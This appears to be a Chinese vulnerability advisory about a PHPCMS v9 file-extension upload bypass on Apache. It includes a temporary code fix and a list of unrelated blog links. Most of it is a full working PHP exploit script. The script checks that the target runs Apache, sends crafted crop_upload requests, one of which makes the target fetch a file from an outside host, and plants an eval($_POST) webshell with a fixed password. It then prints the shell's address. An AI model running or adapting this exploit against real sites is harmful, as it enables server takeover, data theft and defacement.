• PHPCMS v9 文件后缀提取错误代码上传漏洞


    漏洞版本:

    Phpcms 9

    漏洞描述:

    PHPCMS网站管理系统是国内主流CMS系统之一。PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
    
    PHPCMS v9在实现上存在安全漏洞,对上传的文件后缀进行安全限制时,考虑不全,导致在Web服务器为Apache的情况下绕过安全限制。主要代码在文件\phpcms\libs\functions\global.func.php中的fileext函数进行文件后缀提取。攻击者可以通过该漏洞直接上传网站木马控制服务器,最终导致网站“脱库”、“挂马”等严重后果。

    测试方法:

    提供程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
    1. n3wF ()提供了如下测试方法:
    2. <?php
    3. error_reporting(E_ERROR);
    4. set_time_limit(0);
    5. $pass="ln";
    6. print_r('
    7. +---------------------------------------------------------------------------+
    8. PHPCms V9 GETSHELL 0DAY
    9.  
    10. code by L.N.
    11.  
    12. apache 适用(利用的apache的解析漏洞)
    13. +---------------------------------------------------------------------------+
    14. ');
    15. if($argc <2){
    16. print_r('
    17. +---------------------------------------------------------------------------+
    18. Usage: php '.$argv[0].' url path
    19.  
    20. Example:
    21. 1.php '.$argv[0].' lanu.sinaapp.com
    22. 2.php '.$argv[0].' lanu.sinaapp.com /phpcms
    23. +---------------------------------------------------------------------------+
    24. ');
    25. exit;
    26. }
    27.  
    28. $url = $argv[1];
    29. $path = $argv[2];
    30. $phpshell ='<?php @eval($_POST[\''.$pass.'\']);?>';
    31. $file ='1.thumb_.Php.JPG%20%20%20%20%20%20%20Php';
    32. if($ret=Create_dir($url,$path))
    33. {
    34. //echo $ret;
    35. $pattern ="|Server:[^,]+?|U";
    36. preg_match_all($pattern, $ret, $matches);
    37. if($matches[0][0])
    38. {
    39. if(strpos($matches[0][0],'Apache')==false)
    40. {
    41. echo "\n亲!此网站不是apache的网站。\n";exit;
    42. }
    43. }
    44. $ret =GetShell($url,$phpshell,$path,$file);
    45. $pattern ="|http:\/\/[^,]+?\.,?|U";
    46. preg_match_all($pattern, $ret, $matches);
    47. if($matches[0][0])
    48. {
    49. echo "\n".'密码为: '.$pass."\n";
    50. echo "\r\nurl地址: ".$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
    51. }
    52. else
    53. {
    54. $pattern ="|\/uploadfile\/[^,]+?\.,?|U";
    55. preg_match_all($pattern, $ret, $matches);
    56. if($matches[0][0])
    57. {
    58. echo "\n".'密码为: '.$pass."\n";
    59. echo "\r\nurl地址:".'http://'.$url.$path.$matches[0][0].'JPG%20%20%20%20%20%20%20Php'."\n";exit;
    60. }
    61. else
    62. {
    63. echo "\r\n没得到!\n";exit;
    64. }
    65. }
    66. }
    67.  
    68. functionGetShell($url,$shell,$path,$js)
    69. {
    70. $content =$shell;
    71. $data ="POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://".$url.$path."/uploadfile/".$js." HTTP/1.1\r\n";
    72. $data .="Host: ".$url."\r\n";
    73. $data .="User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
    74. $data .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    75. $data .="Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    76. $data .="Connection: close\r\n";
    77. $data .="Content-Length: ".strlen($content)."\r\n\r\n";
    78. $data .= $content."\r\n";
    79. $ock=fsockopen($url,80);
    80. if(!$ock)
    81. {
    82. echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
    83. }
    84. else
    85. {
    86. fwrite($ock,$data);
    87. $resp ='';
    88. while(!feof($ock))
    89. {
    90. $resp.=fread($ock,1024);
    91. }
    92. return $resp;
    93. }
    94. }
    95.  
    96. functionCreate_dir($url,$path='')
    97. {
    98. $content ='I love you';
    99. $data ="POST ".$path."/index.php?m=attachment&c=attachments&a=crop_upload&width=6&height=6&file=http://lanu.sinaapp.com/1.jpg HTTP/1.1\r\n";
    100. $data .="Host: ".$url."\r\n";
    101. $data .="User-Agent: Mozilla/5.0 (Windows NT 5.2; rv:5.0.1) Gecko/20100101 Firefox/5.0.1\r\n";
    102. $data .="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
    103. $data .="Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3\r\n";
    104. $data .="Connection: close\r\n";
    105. $data .="Content-Length: ".strlen($content)."\r\n\r\n";
    106. $data .= $content."\r\n";
    107. $ock=fsockopen($url,80);
    108. if(!$ock)
    109. {
    110. echo "\n"."此网站没有回应,检测url是否输入正确"."\n";exit;
    111. }
    112. fwrite($ock,$data);
    113. $resp ='';
    114. while(!feof($ock))
    115. {
    116. $resp.=fread($ock,1024);
    117. }
    118. return $resp;
    119. }
    120. ?>

    安全建议:

    临时解决方法:
    
    如果您不能立刻安装补丁或者升级,建议您采取以下措施以降低威胁:
    
    *可以暂时将文件phpcms\modules\attachment\attachments.php的第104行改为:
    
    if(is_image($_GET['file'])== false || strpos(strtolower($_GET['file']),'.php')!==false) exit();
    
    厂商补丁:
    
    PHPCMS
    ------
    目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
    
    http://www.phpcms.cn/
  • 相关阅读:
    Redis 的set集合使用及set集合和list列表的区别和应用场景
    c++ JsonCpp Parse对Json字符串解析转换判断的补充 Json格式验证
    使用程序将文件夹名字输出到文本文件中
    MVC 使用PageList进行分页
    sql从某不连续的数字中将其分段并找出缺失的数字并分段
    手机跟本机调试
    javascript中常用的一些功能及正则表达式的用法
    配置tomcat免安装版服务器
    xheditor上传图片的java实现
    eclipse 使用技巧
  • 原文地址:https://www.cnblogs.com/security4399/p/2953570.html
Copyright © 2020-2023  润新知